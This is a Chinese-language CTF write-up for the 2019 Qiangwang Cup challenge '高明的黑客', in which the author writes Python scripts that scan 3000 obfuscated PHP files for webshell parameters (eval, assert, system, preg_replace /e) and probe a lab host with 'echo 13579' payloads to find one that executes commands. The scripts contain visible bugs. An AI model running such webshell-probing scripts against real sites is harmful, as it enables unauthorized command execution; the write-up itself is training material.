CTF [强网杯 2019]高明的黑客 writeup

在这里插入图片描述
一来搞下,有点意思,然后直接在url后面加上www.tar.gz进行下载文件下载,这文件有点大,下载的有点慢,我以为是出错了,又去扫目录。。wtf。。不管扫啥都是200。。。
在这里插入图片描述
不过好在,等扫描完了,文件下好了。
在这里插入图片描述
40M,真的狠,一打开,我惊了。
在这里插入图片描述
3000个文件。。命令看起来还没啥规则 。

硬着头皮解压后,随意点开一个文件。
在这里插入图片描述
1800多行。。。丢在本地环境里面去运行下,还尼玛报错了。
在这里插入图片描述
不过换了几个都是12或者13行有错,看看到底是啥。
在这里插入图片描述
居然是eval,不过上面还有一个if,明显不相等,这个shell不可利用。。。

然后又去靶场环境试了下,有回显了。
在这里插入图片描述
不过怎么构造都不行,看来是有的shell有问题,卧槽, 估计是想让写脚本找一个可以用的shell吧。。。

高明的黑客,牛逼了,说干就干,先收集有哪些种类的shell,之前就已经看到了

  • assert
  • eval
  • exec

然后又找到了system,也不知道还有没有其他的,暂时就这四个了。

思路是遍历每个文件,找到$_GET或者$_POST后的参数,然后提交参数,传入echo 13579,如果在回显中能找到13579的,大概就能执行的。
在这里插入图片描述
运行结果为
在这里插入图片描述
除了assert有问题以外,其余的都正常了,exec默认是没回显的,不管它。也不想写多个payload,先这样试试吧,感觉好麻烦阿,我擦。。。。

第一步,读文件数量

import requests
import os
import re

file_path = "C:/Users/TuTuB/Downloads/src/"
phpfiles = os.listdir(file_path)
i = 0
for phpfile in phpfiles:
    print(phpfile)
    i += 1
print(i)

这个算是没问题了在这里插入图片描述
第二步,打开文件,搜索关键字,这里得用正则了。

with open(phpFullPath, 'r') as txt:
    shell = txt.read()
    # print(shell)
    # wordList =  re.findall(regGetPost,shell) 拿参数,没去判断get或者post
    wordList = [word[2:-2] for word in re.findall(regGetPost, shell)]  # 优化参数

这个也正常拿到了
在这里插入图片描述
第三步,发送请求,我这里没有使用get或者post来区分,直接用post提交的。

    for word in wordList:
        url = www + phpfile + "?" + word + "=" + payload
        data = word + "=" + payload
        html = requests.post(url, headers=header, data=data)
        i += 1
        if "13579" in html.text:
            print(phpfile + " is ok !" + word + " is ok")
            flag = "flag"
            print(i)
            break
        else:
            print(word)

最后组合起来,加个多线程,但是一用多线程就这样,其实还是单线程慢慢跑来得好。。。这个有可能会跑不答案,没多线程就太慢了
在这里插入图片描述
帖个完整的,后来研究了n个小时的多线程和多进程我发现,我根本用不好这玩意,气死了,还是用单线程吧!!!

而且应该是由于我在选payload的时候,没注意去关键字,导致要尝试的次数特别多,应该要结合那几个危险函数来匹配的,这样速度会快很多,暂时先这样吧,回头碰到了再优化

import requests
import os
import re
import time


www = "http://025afb55-2fd9-4616-9183-8f399e22727d.node3.buuoj.cn/"
payload = "echo 13579;"
file_path = "D:\\Programs\\PHPStudy\\WWW\\srctest\\"
phpfiles = os.listdir(file_path)
header = {'Content-Type': 'application/x-www-form-urlencoded'}
flag = ""
i = 0
regGetPost = "\(.+\]"

for phpfile in phpfiles:
	try:
	    print("\n", phpfile)
	    phpFullPath = file_path + phpfile
	    with open(phpFullPath, 'r') as txt:
	        shell = txt.read()
	        wordList = [word[2:-2] for word in re.findall(regGetPost, shell)]
	        print(wordList)
	        for word in wordList:
	            url = www + phpfile + "?" + word + "=" + payload
	            data = word + "=" + payload
	            html = requests.post(url, headers=header, data=data)
	            i += 1
	            print('*', end="")
	            if "13579" in html.text:
	                print("\n" + phpfile + " is ok !" + word + " is ok,一共跑了" + i +"次")
	                flag = 13579
	                break
	   if flag == 13579:
	       break
    except Exception as e:
       pass

自己的跑了半个小时都没跑出来,卧槽了,运行量也太大了,服了。

不过去看了下其它writeup里面的答案,用单个页面测试是没有问题的。
在这里插入图片描述

反向优化第二版。

import requests
import os
import re

www = "http://025afb55-2fd9-4616-9183-8f399e22727d.node3.buuoj.cn/"
file_path = "D:\\Programs\\PHPStudy\\WWW\\srctest\\"
phpfiles = os.listdir(file_path)
header = {'Content-Type': 'application/x-www-form-urlencoded'}
flag = ""
i = 0
regGetPost = "\w+\(.+\]"

for phpfile in phpfiles:
    print("\n", phpfile)
    phpFullPath = file_path + phpfile
    try:
        with open(phpFullPath, 'r') as txt:
            shell = txt.read()
            wordList = [word for word in re.findall(regGetPost, shell)]
            #print(wordList)
            for word in wordList:
                if "eval" in word:
                    payload = "echo 13579;"
                elif "assert" in word:
                    payload = 'var_dump("echo 13579")'
                else:
                    payload = "echo 13579"
                if "$_GET['" in word :
                    a = word.index("$_GET['")
                    word = word[a+7:-2]
                else:
                    a = word.index("$_POST['")
                    word = word[a+8:-2]
                url = www + phpfile + "?" + word + "=" + payload
                #print(url)
                data = word + "=" + payload
                html = requests.post(url, headers=header, data=data)
                i += 1
                print('*', end="")
                if "13579" in html.text:
                    print("\n" + phpfile + " is ok !" + word + " is ok,一共跑了" + i +"次")
                    flag = 13579
                    break
        if flag == 13579:
            break
    except Exception as e :
        pass

除了上述的几个参数以外,这里还找到了第五个参数preg_replace(),使用e标记
在这里插入图片描述
不过看起来,这个虽然能执行命令,但是好像没法利用,然后用自己的简化过的payload跑了一遍,好像跑不出正确答案,这个还有参数赋值给变量,然后去执行变量的搞法,那这么玩还是得全匹配阿,这个太难受了吧。。。

最后还是放弃写出个快速的了,其实还有一种方法就是,将源码进行分类,每100个文件跑一次,分30个文件跑,同时可以跑5个,这样应该可以加快点速度,这题目真是有点恶心我

不过收获还是有一些的,暂时先这样吧,有好的想法的大佬可以帮忙指正一下。

发布了265 篇原创文章 · 获赞 266 · 访问量 4万+

猜你喜欢

转载自blog.csdn.net/u014029795/article/details/105345861